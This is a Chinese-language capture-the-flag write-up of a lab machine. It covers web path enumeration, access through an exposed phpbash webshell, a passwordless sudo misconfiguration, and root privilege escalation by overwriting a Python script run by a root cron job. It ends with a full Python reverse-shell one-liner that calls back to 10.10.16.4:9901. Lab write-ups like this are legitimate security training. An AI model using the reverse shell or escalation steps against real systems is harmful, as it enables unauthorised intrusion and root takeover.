概述 (Overview)
Author: 0x584A

攻击链 (Kiillchain)

TTPs (Tactics, Techniques & Procedures)
- nmapAutomator.sh
- gobuster
- sudo
- pspy
阶段1:枚举
通过前期的 nmap 扫描发现开放了 22、80 端口,浏览器访问后为一个博客站。

根据内容提示,站点可能使用了phpbash,它是一个Web版的命令行操作台(官方webshell?)。

https://github.com/Arrexel/phpbash
访问默认路径显示404,使用gobuster枚举一遍路径:

在 /dev 路径下找到了 phpbash.php


阶段2:工具及利用
阶段2.1:用phpbash.php实现NC反连上线
直接在 phpbash.php 里运行NC反连拿到一个bash。

查看下有哪些用户可以登录服务器。


阶段2.2:不安全的sudo配置
发现用户:root、scriptmanager、arrexel,具备登录。尝试下 sudo -l,看看当前用户具备哪些特权命令。

可以发现配置中用sudo切 scriptmanager 用户时不需要验证密码。直接$ sudo -u scriptmanager bash 即可。

阶段3:权限提升
在搜索 scriptmanager 用户组文件时,发现可疑的 /scripts,提示没有权限。

进一步确认:

scriptmanager 对 test.py 具有权限,看了下内容,脚本会向test.txt写入testing 123!字符串。

观察了下 test.txt 文件的时间每分钟都在更新,怀疑有 root 身份的定时脚本在执行 test.py脚本。

传了一个 pspy,用它来监听下进程(pspy是一种命令行工具,无需root权限即可监听进程。可以查看其他用户执行的命令、cron作业等)。
$ ./pspy64 -pf -i 1000

果然,UID=0也就是root,会定时执行 /scripts 内的python脚本。
接下来就简单了,在目录下新建一个反弹脚本就好,我这里就直接写到 test.py 目录里了。
echo 'import sys,socket,os,pty;s=socket.socket();s.connect(("10.10.16.4",9901));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")' > test.py

